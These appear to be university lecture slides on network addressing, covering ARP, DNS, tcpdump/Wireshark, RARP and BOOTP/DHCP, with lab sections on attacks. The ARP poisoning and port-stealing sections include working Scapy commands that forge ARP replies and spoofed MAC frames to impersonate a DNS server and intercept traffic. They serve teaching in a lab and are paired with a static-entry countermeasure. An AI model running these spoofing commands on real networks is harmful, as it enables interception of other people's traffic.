
## Address Resolution

APPLIED SECURITY BASICS

Alberto Caponi – alberto.caponi@uniroma2.it


### What does it happen really on Internet?




### What a web page is?

## a resource (i.e a file), specified by a **URL: Uniform Resource Locator**.

e.g. my home page:



### URL's components




URL Parameters: /login.php?user=alberto&pass=1234

### What a protocol is?


- A common language between client and server that defines:
  - A common set of rules & messages that allow the client to be understood by the server:
    - Web  $\rightarrow$  HTTP
    - E-mail → SMTP

• ...


• File Transfer  $\rightarrow$  FTP







### IP Address



### Domain Name System

Information Centric Networks (ICN) | Named Data Networks (NDN): caching efficie

1. N. Blefari-Melazzi, G. Blanchi, A. Caponi, A. Detti, "A General, Tractable and Accurate Model for a Cascade of LRU Caches", IEEE Communications Letters 18(5), 877-880 (2014). (pdf)


 A. Detti, A. Caponi, G. Tropea, G. Bianchi, N. Biefari-Melazzi, "On the Interplay among Naming, Contert Validity and Caching in Information Centric Networks", IEEE GLOBECOM 2013, Atlanta, USA, 9-13 December 2013, (pdf)

(more\_)


Publications

How to reach us

+ Links



### Domain Name System: Poisoning



# ARP

ADDRESS RESOLUTION PROTOCOL

### Problem statement

Routing decision for packet X has two possible outcomes:

- You are arrived to the final network: go to host X
- You are not arrived to the final network: go through router interface Y

In both cases we have an IP address on **THIS** network. How can we send data to the interface?


Need to use physical network facilities!

### IP or MAC addresses?

Physical Networks don't uses IP addresses

- IP address depends on the network you are connected to!
- What if you move from that network to another one?

Needs to use the pre-stamped address of your network card: MAC address!



### Reaching a physical host


IP addresses only make sense to TCP/IP protocol suite!

Physical networks have their own hardware address

- e.g. 48 bits Ethernet address, 16 or 48 bits Token Ring, 16 or 48 bit FDDI, ...
- data-link layers may provide the basis for several network layers, not only IP!

#### Address Resolution Protocol $\rightarrow$ RFC 826

- Here described for Ethernet
- More general: designed for any data-link with broadcast capabilities



### Manual mapping

A possibility, indeed!!

- Nothing negative, in principle
  - actually done in X.25, ISDN (do not support broadcast)
- Simply keep in every host a mapping between IP address and hardware address for every IP device connected to the considered network

#### Drawbacks

- tedious
- error prone
- requires manual updating
  - e.g. when attaching a new PC, must touch all others...

### ARP

Dynamic mapping

- not a concern for application & user
- not a concern for system administrator!

Any network layer protocol


• not IP-specific


supported protocol in datalink layer


• not a datalink layer protocol !!!!


Need datalink with broadcasting capability

• e.g. ethernet shared bus









### ARP cache

Avoids ARP request for every IP datagram!

- Entry lifetime defaults to 20min
  - deleted if not used in this time
  - 3 minutes for "incomplete" cache entries (i.e. arp requests to non existent host)
  - $\,\circ\,\,$  it may be changed in some implementations
    - in particularly stable (or dynamic) environments
- arp -a to display all cache entries
- ip neighbor show dev <interface>

[macbook-markin:~ markin\$ ip n show dev en0
2620:9b::1912:9c1c dev ham0 lladdr 7a:79:19:12:9c:1c REACHABLE
fe80::1 dev lo0 lladdr (incomplete) REACHABLE
fe80::9610:3eff:fea1:2067 dev en0 lladdr 94:10:3e:a1:20:67 STALE
fe80::a65e:60ff:fed4:63 dev en0 lladdr a4:5e:60:d4:0:63 REACHABLE
fe80::8cdb:79ff:fe2f:e897 dev awdl0 lladdr 8e:db:79:2f:e8:97 REACHABLE
fe80::7879:19ff:fe12:9c1c dev ham0 lladdr 7a:79:19:12:9c:1c REACHABLE
192.168.100.1 dev en0 lladdr 94:10:3e:a1:20:67 REACHABLE
192.168.100.6 dev en0 lladdr 30:cd:a7:b5:31:10 REACHABLE
192.168.100.194 dev en0 lladdr 28:c6:8e:35:c5:1 REACHABLE
192.168.100.255 dev en0 I <u>N</u> COMPLETE

Try a traceroute or ping to check ARP caching!

- First packet generally delays more
- includes an ARP request/reply!

# ARP request/reply: Ethernet Incapsulation

6 bytes	6 bytes	2B	28 bytes (for IP)	4 bytes	
Ethernet destination address	Ethernet source address	frame type	ARP Request / Reply	CRC	

#### Ethernet Destination Address

• ff:ff:ff:ff:ff:ff (broadcast) for ARP request

**Ethernet Source Address** 

#### • of ARP requester

#### Frame Type



- RARP request/reply: 0x8035
- IP datagram: 0x0800

Protocol – demultiplexing codes!

### ARP request/reply format

#### Hardware type: 1 for Ethernet

Protocol type: 0x0800 for IP (0000.1000.0000.0000)

• the same of Ethernet header field carrying IP datagram!

Hardware len = 6 bytes for Ethernet


Protocol len = 4 bytes for IP

ARP operation:


- 1=request
- 2=reply
- 3/4=RARP req/reply

0	7	8 15	16	31	
	Hardwa	ire Type	Protocol Type		Î
н	ardware len	Protocol len	ARP operation		
		Sender MAC add	dress (bytes 0-3)		20
ç	Sender MAC add	dress (bytes 4-5)	Sender IP address (bytes 0-1)		28 bytes
	Sender IP addr	ess (bytes 2-3)	Dest MAC address (bytes 0-1)		
		Dest MAC addr	ess (bytes 2-5)		
		Dest IP addre	ss (bytes 0-3)		


### Sample ARP request/reply



### Sample ARP request/reply



### Sample ARP request/reply



### ARP cache updating

ARP requests carry requestor IP/MAC pair

ARP requests are broadcast

• thus, they MUST be read by everyone


Therefore, it comes for free, for every computer, to update its cache with requestor pair

Cannot do this with ARP reply, as it is unicast!



Device that responds to an ARP request on behalf of some other machine

- allows having ONE logical (IP) network composed of more physical networks
- especially important when different techologies used (e.g. 100 PC ethernet + 2 PC dialup SLIP)



### Gratuitous ARP

APR request issued by an IP address and addressed to the same IP address!!

- Clearly nobody else than ME can answer!
- WHY asking the network which MAC address do I have???

#### Two main reasons:

- determine if another host is configured with the same IP address
  - in this case respond occurs, and MAC address of duplicated IP address is known.
- Use gratuitous ARP when just changed hardware address
  - all other hosts update their cache entries!
  - A problem is that, despite specified in RFC, not all ARP cache implementations operate as described....

### ARP: not only this mechanism!

Described mechanism for broadcast networks (e.g. based on shared media)

Non applicable for non broadcast networks

- in this case OTHER ARP protocols are used
  - e.g. distributed ARP servers
  - e.g. algorithms to map IP address in network address

# ARP Poisoning

### Tcpdump:command line network analyzer

1														_ 🗆
<u>F</u> ile	<u>E</u> dit	<u>V</u> iew	Te	rminal	Ta <u>b</u> s	<u>H</u> elp								
7:13	3:21.3	95966	ip	10.10	.2.17.	36115	> 7	4.125	.19.3	19.80:	http	http.meth	od:P0ST	htt
.sei	rver:m	ail.go	bogl	le.com	1448									
7:13	3:21.3	95982	ip	10.10	.2.17.	36115	> 7	4.125	.19.3	19.80:	http	204		
7:13	3:21.3	96061	ip	10.10	.2.17.	36115	> 7	4.125	.19.3	19.80:	http	http.mime	_type:m	ulti
art,	/form-	data i	1448	3										
7:13	3:21.3	96636	іp	74.125	5.19.1	L9.80	> 10	.10.2	. 17.3	36115:	http	Θ		
7:13	3:21.3	96654	ip	74.125	5.19.1	L9.80	> 10	.10.2	. 17.3	36115:	http	0		
7:13	3:21.3	96662	ip	10.10	.2.17.	36115	> 7	4.125	.19.1	19.80:	http	404		
7:13	3:21.3	96723	ip	74.12	5.19.1	L9.80	> 10	.10.2	.17.3	36115:	http	Θ		
7:13	3:21.3	96993	ip	74.12	5.19.1	L9.80	> 10	.10.2	.17.3	36115:	http	Θ		
7:13	3:22.1	59636	ip	74.12	5.19.1	L9.80	> 10	.10.2	.17.3	36115:	http	http.mime	type:t	ext,
	1328													
7:13	3:22.1	59664	ip	10.10	.2.17.	36115	> 7	4.125	.19.3	19.80:	http	0		
7:13	3:37.9	03428	ip	10.10	.2.17.	36115	> 7	4.125	.19.3	19.80:	http	http.meth	od:P0ST	'ht
												orm-urlenc		
										19.80:				
										36115:				
										36115:				
										19.80:				
										36115:				
												http.mime	type:t	ext.
	349													
		65826	ip	10.10	.2.17.	36115	> 7	4.125	. 19.	19.80:	http	0		

### Tcpdump: some usage examples

Capture all packets on all interfaces and don't detect hostnames:

```
tcpdump -i any -n
```

Capture all packets on eth0 and save the trace on file (the whole packets...):

```
tcpdump -i eth0 -w file -s0
```

**Capture 10 packets on eth0 to destination \$DEST:** 

```
tcpdump -i eth0 -c 10 dst host $DEST
```

Capture all HTTP packets on eth0:

```
tcpdump -i eth0 tcp port 80
```

Capture all packets with destination or source address != \$ADDR and port in the range [10000:20000]:

tcpdump -i eth0 host not \$ADDR portrange 10000-20000

### Wireshark: THE Network Analyzer


We can use wireshark to graphically display on the host machine the trace captured with tcpdump....

				(Untitled) -	Wireshark	٤.			
<u>F</u> ile	<u>E</u> dit	⊻iew <u>G</u> o	<u>C</u> apture <u>A</u> nalyze	<u>S</u> tatistics	<u>H</u> elp				
	4	<b>e</b> i <b>e</b> i	🏟 l 🖴 💾	🔀 🖒 🕹		4 4 3			Q
₩ <u>F</u> il	lter:					▼ ⊕ Exp	ression	<u> </u>	Apply
No		Time	Source		stination		tocol Info		
		15.647269	192.168.1.101		3.67.222.2			dard query A	
		15.937059	208.67.222.222		2.168.1.10	1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1		dard query re	
	107707	15.937457	192,168,1,101		126.43.23			1 > www [SYN]	
		16.314591	75,126,43,232		2.168.1.10			> 45861 [SYN	-
	16	16.314665	192.168.1.101		126.43.23			1 > www [ACK]	
	17	16.314984	192.168.1.101	75.	126.43.23	32 TC	P [TCP	segment of a	a rea
	18	16.315020	192.168.1.101	75.	126.43.23	32 ТС	P [TCP	segment of a	a rea
	19	16.724366	75.126.43.232	192	2.168.1.10	01 ТС		> 45861 [ACK]	
	20	16.732070	75.126.43.232	192	2.168.1.10	51 ТС	P www:	> 45861 [ACK]	] Seq
	21	18.072290	192.168.1.101	208	3.67.222.2	222 DN	S Stan	dard query A	www.
	22	18.360176	208.67.222.222	192	2.168.1.10	01 DN	S Stan	dard query re	espon
	23	18.445066	192.168.1.101	208	3.67.222.2	222 DN		dard query A	0000002
	24	18 1/1850/	102 168 1 101	202	67 222 2	222 DVI	S Stan	dard query A	-
			11						
			es on wire, 42 b						
) =+	herr	net TT Sri	·· D. link Marter	14 (00.17.	aster	11) Det. Ci	ecoli 6a	·ce.sp (00.18	8.30.
000	00	10 20 6-	c6 8b 00 17 9a	0a f6 44 0	0.00.00		0		
0000	00			0a 16 44 0 0a f6 44 0		the second	De		
020	California.		00 00 c0 a8 01	(2197) - Carlos - Car	0 40 01 0				
							100		
rame	e (fra	me), 42 byte	es		P: 582	D: 582 M: 0 Dr	ops: 0		



Poison ARP cache of victims:

- Make them believe hacker MAC is associated to the destination IP
- What if an hacker makes victims believes to be the DNS?



### **ARP** Poisoning

#### macbook-markin:~ markin\$ ip -4 neighbor show dev en0 192.168.43.1 dev en0 lladdr 78:f8:82:a5:55:c1 REACHABLE



macbook-markin:~ markin\$ ip -4 neighbor show dev en0
192.168.43.1 dev en0 lladdr 0:c:29:f0:b:61 REACHABLE
192.168.43.45 dev en0 lladdr a4:5e:60:d4:0:63 REACHABLE
192.168.43.155 dev en0 lladdr 0:c:29:f0:b:61 REACHABLE
macbook-markin:~ markin\$

Look at the gateway MAC!

# Port Stealing

### Port stealing attack – How to perform it

Let's say an attacker (evil0, behind switch port 1) wants to steal pc2 (the victim) port on the switch (port 2).


SW1 has to be "tricked" into thinking that pc2 is behind the same switch port as evil0 (port 1)

To do that we evilo has to send a Ethernet packet with 00:00:00:00:02 as source MAC address

We say that evil0 has to "spoof" the victim's MAC address, or in other words to "forge an Ethernet packet with spoofed source MAC address"

evilO has to send "whatever" packet (ARP, raw IP, ICMP, empty UDP/TCP, DNS, etc..) with spoofed source MAC address and the switch will update the FDB properly

#### Port stealing: attack scenario



#### SCAPY

Fortunately someone did this job for us and provided a python library for packet forging scripting.

Python is a interpreted and object oriented programming language.

SCAPY is a python library that provide (among other things) an interactive shell for packet forging (from L2 to L7). Moreover SCAPY interactive shell provide command for packet transmission, reception and decoding.

(this is a simplified view of SCAPY limited to what we are interested in. For a detailed description take a look at: <u>http://www.secdev.org/conf/scapy\_pacsec05.handout.pdf</u>)

#### SCAPY example

Build a packet layer by layer, send it and wait for the reply:

>>> a=IP(dst="www.uniroma2.it", id=0x42)

>>> a.ttl=12

```
>>> b=TCP(dport=80, flags="S")
```

>>> sr1(a/b)

What is needed but not specified is automatically done by scapy:

- ip.src is set by default routing
- tcp.sport is random
- a DNS request is automatically sent to resolve www.uniroma2.it
- all other unspecified fields are set by scapy

Just take a look at the C code to see the difference...

#### SCAPY example 2

```
Welcome to Scapy (2.0.0.11 beta)
>>> p = Ether()/IP()/ICMP()/"Ciao Mondo"
>>> p[IP].dst = "8.8.8.8"
>>> p
<Ether type=IPv4 |<IP frag=0 proto=icmp</pre>
dst=8.8.8.8 |<Raw load='Ciao Mondo'</pre>
>>>>
>>> r = srp1(p)
Begin emission:
Finished to send 1 packets.
Received 1 packets, got 1 answers, remaining 0
packets
<Ether dst=00:13:02:49:1c:f5
src=00:1f:3f:f2:00:6d type=IPv4 |<IP version=4L</pre>
ihl=5L tos=0x0 len=46 id=19699 flags= frag=0L
ttl=51 proto=icmp chksum=0xb81c src=8.8.8.8
dst=192.168.178.7 options='' |<ICMP type=echo-</pre>
reply code=0 chksum=0x66fc id=0x0 seq=0x0 |<Raw
>>>>
>>>
```

#### Packet forging and transmission

```
evil0:$ scapy
>>>pck = Ether(src="00:00:00:00:00:02")/
IP(dst="192.168.1.3") / ICMP()
>>>sendp(pck)
```

ETHERNET	IP	ICMP
src: 00:00:00:00:00:02 dst: 00:00:00:00:00:03 type: 0x0800	src: 192.168.1.1 dst: 192.168.1.3 proto: 01 (ICMP)	echorequest seq: 01

sendp (and other send() methods) takes as optional argument:

- loop= 0 (NO) | 1 (YES)
- count=num (num: number of packets to send)

### ARP Poisoning

#### ARP management in Linux

The ARP cache can be manipulated with the command "ip neighbour".

HINT: no need to type "neighbour". Try "ip n"

• Run "man ip" for details.

Show the cache:

• pc1:\$ ip n show

Add a ARP entry:


- pc1:\$ ip n add to "ip\_addr" lladdr "mac\_addr" dev "dev\_name" state "state\_name"
- **state**: permanent, stale, noarp, rachable


Delete a ARP entry:


pc1:\$ ip n del to "ip\_addr" dev "dev\_name"


Flush the cache:

pc1:\$ ip n flush dev "dev\_name" state "state\_name"









Let's try it on pc1:

Runtcpdump:

pc1:\$ nohup tcpdump -i eth0 -w /hosthome/dump.pcap -s0&

Open a web page:

pc1:\$ links www.corriere.it

Open wireshark to view pcap:

knoppix:\$ wireshark /home/knoppix/dump.pcap

#### Attack outline

Attack GOAL:


- ARP poisoning attack for DNS server impersonification
- Wrong DNS resolution for some websites
- HTTP request serving

How do we get there?


- ARP packet forging SCAPY
- DNS server impersonification Dnsmasq
- WEB server impersonification Apache2

More simple with Ettercap/Bettercap


#### ARP Poisoning: I'm your DNS!



#### ARP Poisoning: I'm also your destination!



#### Attack scenario : l'm google!



#### ARP poisoning with SCAPY

GOAL: evil0 wants to poison victim's ARP cache and steal DNS's IP address

- Victim IP: 10.0.0.101
- Victim L2: 00:00:00:00:AA
- DNS server IP: 10.0.0.2
- Attacker L2: 00:00:00:00:FF

```
evil0:$ scapy
>>ips="10.0.0.2"
>>ipd="10.0.0.101"
>>hs="00:00:00:00:00:FF"
>>hd="00:00:00:00:00:AA"
>>a=Ether(src=hs,dst=hd)
>>b=ARP(op=2,psrc=ips,pdst=ipd,hwdst=hd,hwsrc=hs)
>>p=a/b
>>sendp(p,loop=1,inter=1)
```

What's going on?

Watch ARP cachevictim:\$ watch "ip n"

Resolve a name:

victim:\$ host www.repubblica.com


Open the browser

victim:\$ links www.facebook.com victim:\$ links www.google.com


Is there anything we can do?

ARP and DNS static entry ("ip n add" and "/etc/hosts")

#### MITM Attack: I'm the default GW



#### MITM Attack: I own your packets!



### Getting an IP address

REVERSE ADDRESS RESOLUTION PROTOCOL (RARP)

### The problem

Bootstrapping a diskless terminal

• this was the original problem in the 70s and 80s

Reverse ARP [RFC903]

• a way to obtain an IP address starting from MAC address


Today problem: dynamic IP address assignment


• limited pool of addresses assigned only when needed

RARP not sufficiently general for modern usage

- BOOTP (Bootstrap Protocol RFC 951): significant changes to RARP (a different approach)
- DHCP (Dynamic Host Configuration Protocol RFC 1541): extends and replaces BOOTP

### RARP packet format almost identical to ARP byt Differences bytes





#### RARP problems

#### Network traffic

- for reliability, multiple RARP servers need to be configured on the same Ethernet
  - $\,\circ\,\,$  to allow bootstrap of terminals even when one server is down
- But this implies that ALL servers simultaneously respond to RARP request
  - $\circ$   $\,$  contention on the Ethernet occurs

#### RARP requests not forwarded by routers

• being hardware level broadcasts...

### RARP fundamental limit

Allows only to retrieve the IP address information

- and what about all the remaining full set of TCPIP configuration parameters???
  - Netmask?
  - name of servers, proxies, etc?
  - other proprietary/vendor/ISP-specific info?

This is the main reason that has driven to engineer and use BOOTP and DHCP

### BOOTP/DHCP approach

Requests/replies encapsulated in UDP datagrams

- may cross routers
- no more dependent on physical medium

request addressing:

- destination IP = 255.255.255.255
- source IP = 0.0.0.0
- destination port (BOOTP): 67
- source port (BOOTP): 68

router crossing:

- router configured as BOOTP relay agent
- forwards broadcast UDP requests with destination port 67

#### **BOOTP** parameters exchange

Many more parameters

- client IP address (when static IP is assigned)
- your IP address (when dynamic server assignment)
- gateway IP address (bootp relay agent router IP)
- server hostname
- boot filename

Fundamental: vendor-specific information field (64 bytes)

- seems a lot of space: not true!
- DHCP uses a 312 vendor-specific field!

#### Vendor specific information format allows general information exchange

E.g.: subnet mask: Tag Len • tag=1, len=4, parameter = 32 bit subnet mask Parameter exchanged

e.g.: time offset:

 tag=2, len=4, parameter=time (seconds after midnight, jan 1 1900 UTC)

e.g. gateway (variable item)

• tag=3, len=N, list of gateway IPaddr (first preferred)

e.g. DNS server (tag 6)